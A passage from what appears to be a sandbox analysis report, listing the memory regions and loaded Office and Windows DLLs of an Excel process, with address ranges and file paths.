start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 315 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 316 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 317 start_va = 0x13f270000 end_va = 0x141350fff entry_point = 0x13f270000 region_type = mapped_file name = "excel.exe" filename = "\\PROGRA~1\\MICROS~2\\Office16\\EXCEL.EXE" (normalized: "c:\\progra~1\\micros~2\\office16\\excel.exe") Region: id = 318 start_va = 0x7febd860000 end_va = 0x7febd86ffff entry_point = 0x0 region_type = private name = "private_0x000007febd860000" filename = "" Region: id = 319 start_va = 0x7fee7ed0000 end_va = 0x7fee7f4afff entry_point = 0x7fee7ed0000 region_type = mapped_file name = "structuredquery.dll" filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll") Region: id = 320 start_va = 0x7fee7f50000 end_va = 0x7fee81a1fff entry_point = 0x7fee7f50000 region_type = mapped_file name = "wxpnse.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\wxpnse.dll") Region: id = 321 start_va = 0x7fee81b0000 end_va = 0x7fee824ffff entry_point = 0x7fee81b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 322 start_va = 0x7fee8250000 end_va = 0x7fee8d48fff entry_point = 0x7fee8250000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\office16\\chart.dll") Region: id = 323 start_va = 0x7fee8d50000 end_va = 0x7fee8f72fff entry_point = 0x7fee8d50000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\riched20.dll") Region: id = 324 start_va = 0x7fee8f80000 end_va = 0x7fee9018fff entry_point = 0x7fee8f80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 325 start_va = 0x7fee9020000 end_va = 0x7fee919dfff entry_point = 0x7fee9020000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 326 start_va = 0x7fee91a0000 end_va = 0x7fee931afff entry_point = 0x7fee91a0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 327 start_va = 0x7fee9320000 end_va = 0x7fee94effff entry_point = 0x7fee9320000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 328 start_va = 0x7fee94f0000 end_va = 0x7feee32efff entry_point = 0x7fee94f0000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\msores.dll") Region: id = 329 start_va = 0x7feee330000 end_va = 0x7feeec50fff entry_point = 0x7feee330000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso99lres.dll") Region: id = 330 start_va = 0x7feeec60000 end_va = 0x7feeef67fff entry_point = 0x7feeec60000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso40uires.dll") Region: id = 331 start_va = 0x7feeef70000 end_va = 0x7fef024bfff entry_point = 0x7feeef70000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso.dll") Region: id = 332 start_va = 0x7fef0250000 end_va = 0x7fef0a1bfff entry_point = 0x7fef0250000 region_type = mapped_file name = "mso99lwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso99Lwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso99lwin32client.dll") Region: id = 333 start_va = 0x7fef0a20000 end_va = 0x7fef130afff entry_point = 0x7fef0a20000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 334 start_va = 0x7fef1310000 end_va = 0x7fef1787fff entry_point = 0x7fef1310000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 335 start_va = 0x7fef1790000 end_va = 0x7fef28fbfff entry_point = 0x7fef1790000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office16\\oart.dll") Region: id = 336 start_va = 0x7fef2900000 end_va = 0x7fef29d6fff entry_point = 0x7fef2900000 region_type = mapped_file name = "searchfolder.dll" filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll") Region: id = 337 start_va = 0x7fef2a50000 end_va = 0x7fef2abefff entry_point = 0x7fef2a50000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 338 start_va = 0x7fef2ac0000 end_va = 0x7fef2b85fff entry_point = 0x7fef2ac0000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 339 start_va = 0x7fef2b90000 end_va = 0x7fef2e93fff entry_point = 0x7fef2b90000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 340 start_va = 0x7fef2ea0000 end_va = 0x7fef2edafff entry_point = 0x7fef2ea0000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 341 start_va = 0x7fef2f20000 end_va = 0x7fef2f9ffff entry_point = 0x7fef2f20000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 342 start_va = 0x7fef2fd0000 end_va = 0x7fef30b1fff entry_point = 0x7fef2fd0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 343 start_va = 0x7fef3320000 end_va = 0x7fef333efff entry_point = 0x7fef3320000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 344 start_va = 0x7fef3cf0000 end_va = 0x7fef3d43fff entry_point = 0x7fef3cf0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 345 start_va = 0x7fef3d50000 end_va = 0x7fef4906fff entry_point = 0x7fef3d50000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 346 start_va = 0x7fef6710000 end_va = 0x7fef6780fff entry_point = 0x7fef6710000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 347 start_va = 0x7fef6cb0000 end_va = 0x7fef6e4bfff entry_point = 0x7fef6cb0000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 348 start_va = 0x7fef7410000 end_va = 0x7fef748efff entry_point = 0x7fef7410000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 349 start_va = 0x7fef7490000 end_va = 0x7fef74cafff entry_point = 0x7fef7490000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 350 start_va = 0x7fef74d0000 end_va = 0x7fef7595fff entry_point = 0x7fef74d0000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 351 start_va = 0x7fef75d0000 end_va = 0x7fef7603fff entry_point = 0x7fef75d0000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 352 start_va = 0x7fef7ac0000 end_va = 0x7fef7ae6fff entry_point = 0x7fef7ac0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 353 start_va = 0x7fef7b10000 end_va = 0x7fef7b8dfff entry_point = 0x7fef7b10000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 354 start_va = 0x7fef7b90000 end_va = 0x7fef7bc4fff entry_point = 0x7fef7b90000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 355 start_va = 0x7fef7bd0000 end_va = 0x7fef844dfff entry_point = 0x7fef7bd0000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~2\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\progra~1\\micros~2\\office16\\1033\\grooveintlresource.dll") Region: id = 356 start_va = 0x7fef8450000 end_va = 0x7fef8608fff entry_point = 0x7fef8450000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 357 start_va = 0x7fef8610000 end_va = 0x7fef8925fff entry_point = 0x7fef8610000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 358 start_va = 0x7fef8930000 end_va = 0x7fef89cbfff entry_point = 0x7fef8930000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 359 start_va = 0x7fef89d0000 end_va = 0x7fef8be3fff entry_point = 0x7fef89d0000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~2\\Office16\\GROOVEEX.DLL" (normalized: "c:\\progra~1\\micros~2\\office16\\grooveex.dll") Region: id = 360 start_va = 0x7fef8bf0000 end_va = 0x7fef8eadfff entry_point = 0x7fef8bf0000 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\qj4SUKboE\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\qj4sukboe\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\amd64\\filesyncshell64.dll") Region: id = 361 start_va = 0x7fef8eb0000 end_va = 0x7fef90c4fff entry_point = 0x7fef8eb0000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 362 start_va = 0x7fef90d0000 end_va = 0x7fef90defff entry_point = 0x7fef90d0000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 363 start_va = 0x7fef90e0000 end_va = 0x7fef90e6fff entry_point = 0x7fef90e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 364 start_va = 0x7fef93d0000 end_va = 0x7fef93dbfff entry_point = 0x7fef93d0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 365 start_va = 0x7fef93f0000 end_va = 0x7fef93fbfff entry_point = 0x7fef93f0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 366 start_va = 0x7fef9790000 end_va = 0x7fef9803fff entry_point = 0x7fef9790000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 367 start_va = 0x7fef9900000 end_va = 0x7fef9913fff entry_point = 0x7fef9900000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 368 start_va = 0x7fef9be0000 end_va = 0x7fef9beefff entry_point = 0x7fef9be0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 369 start_va = 0x7fef9bf0000 end_va = 0x7fef9c16fff entry_point = 0x7fef9bf0000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 370 start_va = 0x7fef9c20000 end_va = 0x7fef9d01fff entry_point = 0x7fef9c20000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 371 start_va = 0x7fef9e90000 end_va = 0x7fef9f15fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 372 start_va = 0x7fefa190000 end_va = 0x7fefa1e6fff entry_point = 0x7fefa190000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 373 start_va = 0x7fefa8c0000 end_va = 0x7fefa8cefff entry_point = 0x7fefa8c0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 374 start_va = 0x7fefa8d0000 end_va = 0x7fefa8d9fff entry_point = 0x7fefa8d0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 375 start_va = 0x7fefa8e0000 end_va = 0x7fefa8fbfff entry_point = 0x7fefa8e0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 376 start_va = 0x7fefa970000 end_va = 0x7fefa97bfff entry_point = 0x7fefa970000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 377 start_va = 0x7fefa980000 end_va = 0x7fefa982fff entry_point = 0x7fefa980000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 378 start_va = 0x7fefa990000 end_va = 0x7fefa992fff entry_point = 0x7fefa990000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 379 start_va = 0x7fefa9a0000 end_va = 0x7fefa9a2fff entry_point = 0x7fefa9a0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 380 start_va = 0x7fefa9b0000 end_va = 0x7fefa9b2fff entry_point = 0x7fefa9b0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 381 start_va = 0x7fefa9c0000 end_va = 0x7fefa9c4fff entry_point = 0x7fefa9c0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 382 start_va = 0x7fefa9d0000 end_va = 0x7fefa9d4fff entry_point = 0x7fefa9d0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 383 start_va = 0x7fefabe0000 end_va = 0x7fefabe2fff entry_point = 0x7fefabe0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 384 start_va = 0x7fefabf0000 end_va = 0x7fefabf3fff entry_point = 0x7fefabf0000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 385 start_va = 0x7fefaee0000 end_va = 0x7fefaeeafff entry_point = 0x7fefaee0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 386 start_va = 0x7fefaf70000 end_va = 0x7fefaf84fff entry_point = 0x7fefaf70000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 387 start_va = 0x7fefb2b0000 end_va = 0x7fefb2dcfff entry_point = 0x7fefb2b0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 388 start_va = 0x7fefb320000 end_va = 0x7fefb323fff entry_point = 0x7fefb320000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 389 start_va = 0x7fefb330000 end_va = 0x7fefb332fff entry_point = 0x7fefb330000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 390 start_va = 0x7fefb340000 end_va = 0x7fefb343fff entry_point = 0x7fefb340000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 391 start_va = 0x7fefb350000 end_va = 0x7fefb441fff entry_point = 0x7fefb350000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 392 start_va = 0x7fefb470000 end_va = 0x7fefb484fff entry_point = 0x7fefb470000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 393 start_va = 0x7fefb490000 end_va = 0x7fefb49bfff entry_point = 0x7fefb490000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 394 start_va = 0x7fefb4a0000 end_va = 0x7fefb4b5fff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 395 start_va = 0x7fefb4c0000 end_va = 0x7fefb4c2fff entry_point = 0x7fefb4c0000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 396 start_va = 0x7fefb4d0000 end_va = 0x7fefb5c1fff entry_point = 0x7fefb4d0000 region_type = mapped_file name = "dui70.dll" filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll") Region: id = 397 start_va = 0x7fefb5d0000 end_va = 0x7fefb5e0fff entry_point = 0x7fefb5d0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 398 start_va = 0x7fefb5f0000 end_va = 0x7fefb5f2fff entry_point = 0x7fefb5f0000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 399 start_va = 0x7fefb600000 end_va = 0x7fefb729fff entry_point = 0x7fefb600000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 400 start_va = 0x7fefb730000 end_va = 0x7fefb764fff entry_point = 0x7fefb730000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 401 start_va = 0x7fefb770000 end_va = 0x7fefb787fff entry_point = 0x7fefb770000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 402 start_va = 0x7fefb790000 end_va = 0x7fefb7d2fff entry_point = 0x7fefb790000 region_type = mapped_file name = "duser.dll" filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll") Region: id = 403 start_va = 0x7fefb7e0000 end_va = 0x7fefb9a9fff entry_point = 0x7fefb7e0000 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 404 start_va = 0x7fefbb50000 end_va = 0x7fefbba5fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 405 start_va = 0x7fefbbd0000 end_va = 0x7fefbbd2fff entry_point = 0x7fefbbd0000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 406 start_va = 0x7fefbbe0000 end_va = 0x7fefbbe2fff entry_point = 0x7fefbbe0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 407 start_va = 0x7fefbbf0000 end_va = 0x7fefbbf2fff entry_point = 0x7fefbbf0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 408 start_va = 0x7fefbc00000 end_va = 0x7fefbdf3fff entry_point = 0x7fefbc00000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 409 start_va = 0x7fefbe00000 end_va = 0x7fefbe02fff entry_point = 0x7fefbe00000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 410 start_va = 0x7fefbe10000 end_va = 0x7fefbe13fff entry_point = 0x7fefbe10000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 411 start_va = 0x7fefbe20000 end_va = 0x7fefbe35fff entry_point = 0x7fefbe20000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 412 start_va = 0x7fefbe40000 end_va = 0x7fefbee6fff entry_point = 0x7fefbe40000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 413 start_va = 0x7fefbef0000 end_va = 0x7fefbf44fff entry_point = 0x7fefbef0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 414 start_va = 0x7fefbf50000 end_va = 0x7fefbf83fff entry_point = 0x7fefbf50000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 415 start_va = 0x7fefc100000 end_va = 0x7fefc22bfff entry_point = 0x7fefc100000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 416 start_va = 0x7fefc280000 end_va = 0x7fefc2abfff entry_point = 0x7fefc280000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 417 start_va = 0x7fefc500000 end_va = 0x7fefc50bfff entry_point = 0x7fefc500000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 418 start_va = 0x7fefc870000 end_va = 0x7fefc8bbfff entry_point = 0x7fefc870000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 419 start_va = 0x7fefc930000 end_va = 0x7fefc976fff entry_point = 0x7fefc930000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 420 start_va = 0x7fefcc30000 end_va = 0x7fefcc46fff entry_point = 0x7fefcc30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 421 start_va = 0x7fefcda0000 end_va = 0x7fefcdc1fff entry_point = 0x7fefcda0000 